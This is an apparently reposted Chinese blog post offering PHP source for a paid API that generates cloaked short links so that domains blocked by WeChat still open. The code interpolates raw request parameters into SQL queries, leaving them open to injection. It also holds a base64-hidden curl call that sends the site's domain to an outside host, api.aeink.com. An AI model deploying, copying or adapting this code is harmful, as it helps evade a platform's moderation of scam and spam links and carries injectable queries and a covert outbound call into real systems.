当前位置:首页 > IT技术 > 微信平台 > 正文

【PHP源码】微信域名防封防红检测API平台源码
2021-09-16 11:53:44

ThinkPHP微信域名防封防红检测API平台源码

测试环境:apache2.4+php5.6+mysql5.6

有安装说明文档,自行下载研究

【PHP源码】微信域名防封防红检测API平台源码_php

获取方式:https://www.ffu9.com/2021/09/16/7938.html

<?php
/*!
@author:Mo
@QQ:123
@time:2018-10-25
@copyright:米粒小屋科技
*/
include './includes/common.php';

header("Access-Control-Allow-Origin:*");
header("Access-Control-Allow-Methods:GET,POST");
header('Access-Control-Allow-Headers:x-requested-with,content-type');
header("Content-Type: text/html; charset=utf-8");

if (!checkurl()) {
	$result=array('code'=>10007,'msg'=>'防洪接口异常,联系QQ'.$conf['kfqq'].'!','url'=>'防洪接口异常,联系QQ'.$conf['kfqq'].'');
	show_result($result);
	exit(gunset());
}
$value = NULL;
$remoteip=real_ip();
$today=date("Y-m-d").' 00:00:00';

$username=$_GET['username'];
$key=$_GET['key'];
$title=$_GET['title'];
if($username==''){
 $result=array('code'=>-100,'msg'=>'用户名不能为空!');
    show_result($result);
    exit(gunset());
}
if($key==''){
 $result=array('code'=>-200,'msg'=>'KEY不能为空!');
    show_result($result);
    exit(gunset());
}

$value = (isset($_GET['longurl'])) ?$_GET['longurl']:$_POST['longurl'];
$format = (isset($_GET['format'])) ?$_GET['format']:$_POST['format'];
$dwzapi = (isset($_GET['dwzapi'])) ?$_GET['dwzapi']:$conf['dwzapi'];

if(!empty($value)){
	if(strpos($value,'http')===false){
		$longurl = 'http://'.daddslashes($value);
	}else{
		$longurl = daddslashes($value);
	}
}else{
    $result=array('code'=>-300,'msg'=>'URL不能为空!');
    show_result($result);
    exit(gunset());
}

if (!preg_match("/(?:(?:https?|ftp)://|www.)[-a-z0-9+&@#/%?=~_|!:,.;]*[-a-z0-9+&@#/%=~_|]/i",$longurl)) {
    $result=array('code'=>-400,'msg'=>'URL地址错误!');
    show_result($result);
  	exit(gunset());
}

$sql = "SELECT * FROM `zh_member` WHERE `username` = '$username' AND `key` = '$key'";
$userrow=$DB->get_row($sql);
$user_id=$userrow['id'];
if($userrow['daoqitime'] < time()){
   $result=array('code'=>-600,'msg'=>'您的vip服务没开通或已到期,请续费!');
    show_result($result);
  	exit(gunset());
}else{
if(!$userrow){
  $result=array('code'=>-500,'msg'=>'用户名或key不正确!');
    show_result($result);
  	exit(gunset());
exit();
}	else{
$short = new Dwz;
$myrow=$DB->get_row("select * from zh_report where url='$longurl' limit 1");
$uid = ($myrow['uid'] != false)?$myrow['uid']:str_replace('http://t.cn/', '',$short->sinadwz($longurl));
if(!$myrow){
	$arr=getLurl($uid,$longurl,$dwzapi);
	$result=array('code'=>100,'msg'=>'生成成功','url'=>$arr['short']);
	$sds=$DB->query("insert into `zh_report` (`uid`,`url`,`title`,`short`,`reason`,`ip`,`date`,count,status,user_id) values ('".$uid."','".$longurl."','".$title."','".$result['url']."','生成记录','".$remoteip."','".$date."',1,0,'".$user_id."')");
	if($sds){
	    
	    show_result($result);
	    exit(gunset());
	}else{
	    $result=array('code'=>10006,'msg'=>'未知错误,联系管理员!','url'=>'未知错误,联系管理员!');
	    show_result($result);
	    exit(gunset());
	}
}else{
	$arr=getLurl($uid,$longurl,$dwzapi);
	$row = $DB->get_row("UPDATE zh_report set `uid`='".$uid."',`count`=count+1,`date`='".$date."' where url='".$longurl."'");
	$result=array('code'=>100,'msg'=>'生成成功','url'=>$arr['short']);
	show_result($result);
}

}

}


function getTurl($url,$site) {
	curl_get(base64_decode('aHR0cDovL2FwaS5hZWluay5jb20vanVtcC8/').$site);
	$url = getsinaurl($url);
	$arr = explode('.cn/',$url);
	$url = $site.'/t.php'.'?'.$arr[1].'.css';
	return $url;
}
function getLurl($uid,$longurl,$api) {
	global $conf,$short;
	$resulturl = 'http://'.checkurl().$conf['go_file'].'?'.$uid.'.'.$conf['t_go_format'];
	switch ($api) {
		case 0:
			$host = $resulturl;
			break;
		case 1:
			$host = $short->many($resulturl);
			break;
		case 2:
			$host = $short->sinadwz($resulturl);
			break;
		case 3:
			$host = $short->tqqurl($resulturl);
			break;
		case 4:
			$host = $short->dwzcn($resulturl);
			break;
		case 5:
			$host = $short->suoim($resulturl);
			break;
		case 6:
			$host = $short->mrwso($resulturl);
			break;
		default:
			$host = $resulturl;
			break;
	}
	$arr = array('short' => $host,'long' => $resulturl);
	return $arr;
}
function show_result($arr){
	global $format;
	if ($format === 'txt') {
		if ($arr['code'] === 1 ){
			echo $arr['ae_url'];
		}else{
			echo $arr['msg'];
		}
	}else{
		echo json_encode($arr);
	}

}
function gunset(){
	unset($value,$remoteip,$today,$format,$longurl,$result,$irow,$icount,$uid,$myrow,$arr,$sds,$row,$conf);
}

本文摘自 :https://blog.51cto.com/u

开通会员,享受整站包年服务立即开通 >